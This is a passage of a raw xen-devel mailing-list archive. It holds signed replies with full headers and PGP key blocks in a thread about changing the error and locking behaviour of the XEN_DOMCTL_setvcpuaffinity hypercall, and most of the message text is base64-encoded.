 protected-headers="v1"
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
To: Andrew Cooper <andrew.cooper3@citrix.com>, Jan Beulich <jbeulich@suse.com>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
Message-ID: <3c05b2b0-6a83-4046-9de3-c7e3478c2958@suse.com>
Subject: Re: [PATCH 0/3] Change XEN_DOMCTL_setvcpuaffinity interface
References: <20260701111606.4063972-1-jgross@suse.com>
 <4e16c1eb-e1ff-4d7a-bfa8-223d357716ee@suse.com>
 <4524812f-b9ee-4ef5-b5c6-7583815e859b@citrix.com>
In-Reply-To: <4524812f-b9ee-4ef5-b5c6-7583815e859b@citrix.com>
Autocrypt-Gossip: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu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1fY5XwCZG/XJJY9M/sAAwUH/09Ar9W2U1Qm+DwZeP2ii3Ou
 14Z9VlVVPhcEmR/AFykL9dw/OV2O/7cdi52+l00reUu6Nd4Dl8s4f5n8b1YFzmkVVIyhwjvU
 jxtPyUgDOt6DRa+RaDlXZZmxQyWcMv2anAgYWGVszeB8Myzsw8y7xhBEVV1S+1KloCzw4V8Z
 DSJrcsZlyMDoiTb7FyqxwQnM0f6qHxWbmOOnbzJmBqpNpFuDcz/4xNsymJylm6oXiucHQBAP
 Xb/cE1YNHpuaH4SRhIxwQilCYEznWowQphNAbJtEKOmcocY7EbSt8VjXTzmYENkIfkrHRyXQ
 dUm5AoL51XZljkCqNwrADGkTvkwsWSvCSQQYEQIACQUCWTecRAIbDAAKCRCgNK6L+3cgfuef
 AJ9wlZQNQUp0KwEf8Tl37RmcxCL4bQCcC5alCSMzUBJ5DBIcR4BY+CyQFAs=

--------------znGHoX2KsgMD0EpG2Du8uocr
Content-Type: multipart/mixed; boundary="------------8eJqjVbKDosdQe3AGtdAnLta"

--------------8eJqjVbKDosdQe3AGtdAnLta
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMDEuMDcuMjYgMTM6NDUsIEFuZHJldyBDb29wZXIgd3JvdGU6DQo+IE9uIDAxLzA3LzIw
MjYgMTI6MzkgcG0sIEphbiBCZXVsaWNoIHdyb3RlOg0KPj4gT24gMDEuMDcuMjAyNiAxMzox
NiwgSnVlcmdlbiBHcm9zcyB3cm90ZToNCj4+PiBUb2RheSB0aGUgWEVOX0RPTUNUTF9zZXR2
Y3B1YWZmaW5pdHkgaHlwZXJjYWxsIHdpbGwgbm90IG9ubHkgY2hhbmdlIHRoZQ0KPj4+IGFm
ZmluaXR5IHNldHRpbmdzIG9mIGEgdmNwdSwgaXQgd2lsbCByZXR1cm4gdGhlIG5ldyBlZmZl
Y3RpdmUgc2V0dGluZ3MsDQo+Pj4gdG9vLg0KPj4+DQo+Pj4gSW4gY2FzZSBhb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GFpbCwNCj4gd2hlcmVhcyB0aGUg
aHlwZXJjYWxsIEFQSSBpcyBhbiBleHRlcm5hbCBkZXRhaWwuDQoNCg0KSnVlcmdlbg0K
--------------8eJqjVbKDosdQe3AGtdAnLta
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i
1TXkH09XSSI8mEQ/ouNcMvIJNwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/B
BLUVbDa4+gmzDC9ezlZkTZG2t14zWPvxXP3FAp2pkW0xqG7/377qptDmrk42GlSK
N4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEBAAHNHEp1ZXJnZW4gR3Jvc3Mg
PGpnQHBmdXBmLm5ldD7CwHkEEwECACMFAlOMcBYCGwMHCwkIBwMCAQYVCAIJCgsE
FgIDAQIeAQIXgAAKCRCw3p3WKL8TL0KdB/93FcIZ3GCNwFU0u3EjNbNjmXBKDY4F
UGNQH2lvWAUy+dnyThpwdtF/jQ6j9RwE8VP0+NXcYpGJDWlNb9/JmYqLiX2Q3Tye
vpB0CA3dbBQp0OW0fgCetToGIQrg0MbD1C/sEOv8Mr4NAfbauXjZlvTj30H2jO0u
+6WGM6nHwbh2l5O8ZiHkH32iaSTfN7Eu5RnNVUJbvoPHZ8SlM4KWm8rG+lIkGurq
qu5gu8q8ZMKdsdGC4bBxdQKDKHEFExLJK/nRPFmAuGlId1E3fe10v5QL+qHI3EIP
tyfE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qc
suylWsviuGjKGw7KHQd3bxALOknAp4dN3QwBYCKuZ7AddY9yjynVaD5X7nF9nO5B
jR/i1DG86lem3iBDXzXsZDn8R3/CwO0EGAEIACAWIQSFEmdy6PYElKXQl/ew3p3W
KL8TLwUCWt3w0AIbAgCBCRCw3p3WKL8TL3YgBBkWCAAdFiEEUy2wekH2OPMeOLge
gFxhu0/YY74FAlrd8NAACgkQgFxhu0/YY75NiwD/fQf/RXpyv9ZX4n8UJrKDq422
bcwkujisT6jix2mOOwYBAKiip9+mAD6W5NPXdhk1XraECcIspcf2ff5kCAlG0DIN
aTUH/RIwNWzXDG58yQoLdD/UPcFgi8GWtNUp0Fhc/GeBxGipXYnvuWxwS+Qs1Qay
7/Nbal/v4/eZZaWs8wl2VtrHTS96/IF6q2o0qMey0dq2AxnZbQIULiEndgR625EF
RFg+IbO4ldSkB3trsF2ypYLij4ZObm2casLIP7iB8NKmQ5PndL8Y07TtiQ+Sb/wn
g4GgV+BJoKdDWLPCAlCMilwbZ88Ijb+HF/aipc9hsqvW/hnXC2GajJSAY3Qs9Mib
4Hm91jzbAjmp7243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------8eJqjVbKDosdQe3AGtdAnLta--

--------------znGHoX2KsgMD0EpG2Du8uocr--

--------------D8Dk0SUKGVgnZWk0UYIUxY3D
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpFD4AFAwAAAAAACgkQsN6d1ii/Ey+M
kwf/SWInyPW89P95ELLY/48zP6HEFuTsDDmDC0HRthkslpClMORJnn/+0ZcWeCPhz3duFm3nOWN+
UL+fwrnpo7mdXkyQM0FOhyt+L4t44/epCHhrUjnSQCqTSD6eNRXFRtLP3L6fwr8tfbhRoXh+2Oye
NIhbT7UyKwwjF2ApIcKVfeOTDuNq0K3AZi4NL0tTtJeGzd5TGv0xgSR7bjhXuY1joYPnpKbp/moK
30/Ookh/79+pWB66TtI+0w1SLInyPgs5BrTPoCSnDTpzOlsOkX9FvhmLBkHFbxPjnvkTg0gwa+/f
DFBWYzoPX3yacglDZsVWwGOpZICI+29+UyjH8IXaNw==
=bCS/
-----END PGP SIGNATURE-----

--------------D8Dk0SUKGVgnZWk0UYIUxY3D--


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 13:09:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 13:09:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349938.1607545 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1weugT-0007gA-F8; Wed, 01 Jul 2026 13:08:57 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349938.1607545; Wed, 01 Jul 2026 13:08:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1weugT-0007g3-CT; Wed, 01 Jul 2026 13:08:57 +0000
Received: by outflank-mailman (input) for mailman id 1349938;
 Wed, 01 Jul 2026 13:08:56 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1weugS-0007fu-47
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 13:08:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1weugR-00AxJM-Dc
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 15:08:55 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a451159-e002-0a2a0a5209dd-0a2a4504998e-32
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 15:08:55 +0200
Received: from [209.85.218.53] (helo=mail-ej1-f53.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a451167-a01d-0a2a45040019-d155da35ec64-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 15:08:55 +0200
Received: by mail-ej1-f53.google.com with SMTP id
 a640c23a62f3a-c12a1a3cdb9so58552466b.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 06:08:55 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 a640c23a62f3a-c1288f4771csm270046666b.42.2026.07.01.06.08.54
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 06:08:54 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782911335; x=1783516135; darn=lists.xenproject.org;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=QvWdkHra12plO1MEg4iyy5k+8TYQ9q3UWHLtfiJmLXU=;
        b=QP3Qc26rKOwnkmDvzY6u8UlKLdmyoenavJ0mPeVH5BMS+RzjchKxMHL78UKc5jZRyK
         Y/MklDtt8XUZhCKm+qtqi2yhzJmMg64QFvNzPossp7P8NxyMGrgGMt+pK8VRXmoYSzom
         ia91SwuU+efzbyTQKDrEZgNnXCP8JQ7SPBRv/zh4EwF4GxPHkTGXZPeTSpdTz/GEcihK
         X3TWcCR5o4JgYLiscri6bCrT+hcFFiMamUqG406UKD6lUUoLKPBD2G3G+buxm0BQjWh/
         eIyLlQX/IkumLubOp1+IGfZg7w9ifr3uWY1vn3HjxGmmsMvu5DJ9cN1FLsZvBILrQGd0
         qWpQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782911335; x=1783516135;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=QvWdkHra12plO1MEg4iyy5k+8TYQ9q3UWHLtfiJmLXU=;
        b=W3DMlnlUih4vDIcjZD/65750r/Pj16qI25R0lAXiswItImE01d4rgersgoNPSCmMBl
         GOvrvbbpFdGEFnvErYMCsbLeZq7VernNTXq/QQL/KJdHFzFw8ESRusJ5a+i0K2Yz1Rkt
         qLW7e6M8rChwy4sX5gPNE4mLf5iMQ3qlHlgaDbrj5XyNPBBe2J21z8ieoxmNmlz2gKDI
         LgA7R7pcxtErM5ekrw2UpeiBeFDnZzLg4XwtjWW7d/qrlcUTE3HMOdo4aMiLNhcOKfjD
         svmV2DUP3yjcq2xF42TdITmWBffbIs2bzgPBpXuD+zMv+baCdmheB+SpWv1BkxqgzZf3
         LM+w==
X-Forwarded-Encrypted: i=1; AHgh+RrAREmTzzp6g7e+mJfG6rk2zwOFJJAXr0JAapFhBWcGRdqe+Dy5HwevJUV5Sl7yZ5rkAuK7ppFAQv0=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyRGL7KzwhlZqDiEKMLjne8EwHUtdxoRx1VAF7UJqZ9fMPPIMaY
	Hj66BRcTCvnCUZyyImcXonFXAnIPqDO8UNn0WHwvtlJZTyFRZQmm1wmTZoCK2JaKA1+YyWWzhs9
	mjVW145X7tw==
X-Gm-Gg: AfdE7ck2u/eLCeEEunGDFe+9wy4mIjZjP7pCz5aecDM4yS3MqlHCCntsXHx80nWbyWw
	xttff63/qlkewJ2chh7SAcknqQXiW8IiVrnlbgwhd0rVNQI3N8NLNt1G+t8QFBR5q/NUZ57vmY/
	oLE1e/U9SqYQs+ZdGEsKPp+3Z5SPxoeOiNmjhdAaVa8kVX8hLYuofPFBn+p9I66Ly6k8J/2wZH9
	UtCYsSOjOmkJNrhPC2TjgjVw4OcQ/aVRO4ymbNz5xbOFaM14PuMY9pkN6zMr1ksQ+gtkaNDpUDG
	VuL81s6pn+ZLbvHeO7mzzNIk9CCUQemQJxfjH70UFdtciIyKgPqpTeWs1pHOUylWkadv8arcmEZ
	8J02l6W9DQ6t7pIqzTQVSL+NDm6AnwPGsCR1l5i4leF7HDc5LPy5PF9WVGTQEAsXcqiS0opJupj
	wfTH2MS+WBpdTM/v9pGa8GJKYSGaDkQJju53FN3zOaDIquuuxcutXSQ8ksa7KWSbyi4mVULOxkH
	lykpDuVvizo+9sc8DjzTnMJtOZ2nk9pvXUqQWR757Iuwgx82Kf4jQ==
X-Received: by 2002:a17:907:e117:b0:c12:70e8:6025 with SMTP id a640c23a62f3a-c12ae4089bdmr37842166b.21.1782911334685;
        Wed, 01 Jul 2026 06:08:54 -0700 (PDT)
Message-ID: <f4623033-ec0f-4b91-8443-724701c79f37@suse.com>
Date: Wed, 1 Jul 2026 15:08:53 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 0/3] Change XEN_DOMCTL_setvcpuaffinity interface
To: Jan Beulich <jbeulich@suse.com>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <20260701111606.4063972-1-jgross@suse.com>
 <4e16c1eb-e1ff-4d7a-bfa8-223d357716ee@suse.com>
Content-Language: en-US
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 XP3FAp2pkW0xqG7/377qptDmrk42GlSKN4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEB
 AAHNH0p1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNvbT7CwHkEEwECACMFAlOMcK8CGwMH
 CwkI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0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <4e16c1eb-e1ff-4d7a-bfa8-223d357716ee@suse.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------A67jv0t704UZ8WCDSEngQCm7"
X-purgate-ID: tlsNG-ebf023/1782911335-AF12E1CC-FA0E12CC/0/0
X-purgate-type: clean
X-purgate-size: 9976

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------A67jv0t704UZ8WCDSEngQCm7
Content-Type: multipart/mixed; boundary="------------PiSQMyb4xi4gPyoUxUulCir1";
 protected-headers="v1"
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
To: Jan Beulich <jbeulich@suse.com>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
Message-ID: <f4623033-ec0f-4b91-8443-724701c79f37@suse.com>
Subject: Re: [PATCH 0/3] Change XEN_DOMCTL_setvcpuaffinity interface
References: <20260701111606.4063972-1-jgross@suse.com>
 <4e16c1eb-e1ff-4d7a-bfa8-223d357716ee@suse.com>
In-Reply-To: <4e16c1eb-e1ff-4d7a-bfa8-223d357716ee@suse.com>
Autocrypt-Gossip: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRw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VPhcEmR/AFykL9dw/OV2O/7cdi52+l00reUu6Nd4Dl8s4f5n8b1YFzmkVVIyhwjvU
 jxtPyUgDOt6DRa+RaDlXZZmxQyWcMv2anAgYWGVszeB8Myzsw8y7xhBEVV1S+1KloCzw4V8Z
 DSJrcsZlyMDoiTb7FyqxwQnM0f6qHxWbmOOnbzJmBqpNpFuDcz/4xNsymJylm6oXiucHQBAP
 Xb/cE1YNHpuaH4SRhIxwQilCYEznWowQphNAbJtEKOmcocY7EbSt8VjXTzmYENkIfkrHRyXQ
 dUm5AoL51XZljkCqNwrADGkTvkwsWSvCSQQYEQIACQUCWTecRAIbDAAKCRCgNK6L+3cgfuef
 AJ9wlZQNQUp0KwEf8Tl37RmcxCL4bQCcC5alCSMzUBJ5DBIcR4BY+CyQFAs=

--------------PiSQMyb4xi4gPyoUxUulCir1
Content-Type: multipart/mixed; boundary="------------Gnwb3UE1GbMejCumxeW4QdQq"

--------------Gnwb3UE1GbMejCumxeW4QdQq
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMDEuMDcuMjYgMTM6MzksIEphbiBCZXVsaWNoIHdyb3RlOg0KPiBPbiAwMS4wNy4yMDI2
IDEzOjE2LCBKdWVyZ2VuIEdyb3NzIHdyb3RlOg0KPj4gVG9kYXkgdGhlIFhFTl9ET01DVExf
c2V0dmNwdWFmZmluaXR5IGh5cGVyY2FsbCB3aWxsIG5vdCBvbmx5IGNoYW5nZSB0aGUNCj4+
IGFmZmluaXR5IHNldHRpbmdzIG9mIGEgdmNwdSwgaXQgd2lsbCByZXR1cm4gdGhlIG5ldyBl
ZmZlY3RpdmUgc2V0dGluZ3MsDQo+PiB0b28uDQo+Pg0KPj4gSW4gY2FzZSBhbiBlcnJvciBo
YXBwZW5zIGR1cmluZyB0aGlzIGh5cGVyY2FsbCwgdGhlIGV4cGVjdGF0aW9uIG9mIHRoZQ0K
Pj4gY2FsbGVyIGlzIHRoYXQgdGhlIGFmZmluaXR5IG9mIH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iB1
c2luZyBhbnkgbG9ja2luZyB0aGF0IGRpZG4ndCBsb29rIGVudGlyZWx5IHN0cmFpZ2h0Zm9y
d2FyZCB0byBhbnN3ZXIuDQoNClRoZSBjYWxsaW5nIGhpZXJhcmNoeSBmb3IgdGhlIFhFTl9E
T01DVExfc2V0dmNwdWFmZmluaXR5IGNhc2UgaXM6DQoNCnZjcHVfYWZmaW5pdHlfZG9tY3Rs
KCkNCiAgIHZjcHVfc2V0X2hhcmRfYWZmaW5pdHkoKQ0KICAgICB2Y3B1X3NldF9hZmZpbml0
eSgpDQogICB2Y3B1X3NldF9hZmZpbml0eSgpDQoNCnZjcHVfc2V0X2FmZmluaXR5KCkgZG9l
cyB0aGUgY29ycmVjdCBsb2NraW5nICh0YWtlcyB0aGUgdW5pdCBsb2NrKS4NCg0KRm9yIG5v
dCBuZWVkaW5nIHRoZSBkb21jdGwgbG9jayB0aGUgWEVOX0RPTUNUTF9nZXR2Y3B1YWZmaW5p
dHkgcGF0aA0Kd291bGQgbmVlZCB0byB0YWtlIHRoZSB1bml0IGxvY2ssIHRvby4NCg0KDQpK
dWVyZ2VuDQo=
--------------Gnwb3UE1GbMejCumxeW4QdQq
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i
1TXkH09XSSI8mEQ/ouNcMvIJNwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/B
BLUVbDa4+gmzDC9ezlZkTZG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hnXC2GajJSAY3Qs9Mib
4Hm91jzbAjmp7243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------Gnwb3UE1GbMejCumxeW4QdQq--

--------------PiSQMyb4xi4gPyoUxUulCir1--

--------------A67jv0t704UZ8WCDSEngQCm7
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpFEWYFAwAAAAAACgkQsN6d1ii/Ey+R
hQgAiFcQL1/BexzltyBKpcNqde3m58V3k66enVf924PZisyIWKt5uR5o7SSudOG0CAlPd7ZxMwaJ
q9pwx3BN72wok+1m5jS6ZoiRm19FBb3gCYx6XtAB2mxRSH4I4nVNiBociGALbeCOGyIxaFD69ZQ/
jsKVEVUyH7U7fehoqkeIxYJKWzTPsE9+jaI0wmbgyHGo5Uw5A7FH/oxCBPpTuue3eAS5fwUcoT0t
6DHn/r1UiWDS6SXfiVzL7KnaRtrVvidZAF9qFV+bgAPWpPvaC7JvORfKTpds3ej2BcSUdPmfJs56
C4hkty5BejF0aMvjJgAcqeWILU3W9+eJj8jr4GlcYg==
=aag2
-----END PGP SIGNATURE-----

--------------A67jv0t704UZ8WCDSEngQCm7--


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 13:48:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 13:48:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349970.1607553 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wevIt-0005Gr-Ew; Wed, 01 Jul 2026 13:48:39 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349970.1607553; Wed, 01 Jul 2026 13:48:39 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wevIt-0005Gk-Bp; Wed, 01 Jul 2026 13:48:39 +0000
Received: by outflank-mailman (input) for mailman id 1349970;
 Wed, 01 Jul 2026 13:48:38 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wevIs-0005GZ-Bc
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 13:48:38 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wevIr-003xrh-C9
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 15:48:37 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a451ab1-5cb7-0a2a0a5109dd-0a2a4505ba8e-14
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 15:48:37 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a451ab4-3cb2-0a2a45050019-d1558036dcae-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 15:48:36 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-493a97fad2fso6087765e9.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 06:48:36 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493be4d1f1asm83687285e9.7.2026.07.01.06.48.35
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 06:48:35 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782913716; x=1783518516; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=FZJ7FVfbTz+w5KSCQNEAopHFenppAWwmNKWbesF+99g=;
        b=KJ2WNXdZN9npSCi74F/z7yJeslgTUv4kHRDRD/4FakqmyqvbTUkR8vnM2Y0+XmvZpy
         GnGYmtULYo1gZYG/R99ANm6up95MqidKrhFI7JzbN7mBSjJ/jXqqeCseRc76ZbWJgOlq
         WR9pXjla4J2/MDEnl9fy9Fqcc3DRzeZEwa9cP6qHV6ivU4aSHcPaavKcdYDNCs04RWUM
         jlWKwti3mABtyt4TtT/l/JkVsK6oYq7uyA3BE4yWwV2B9Mu39GanhIX4eXZSIiuda6jh
         r4RxszjL6hYyB1EJxSfX7xcQ6fNR+poIw1OrDBrE90Rnp0W70e174xH6BzATlZa8CNKW
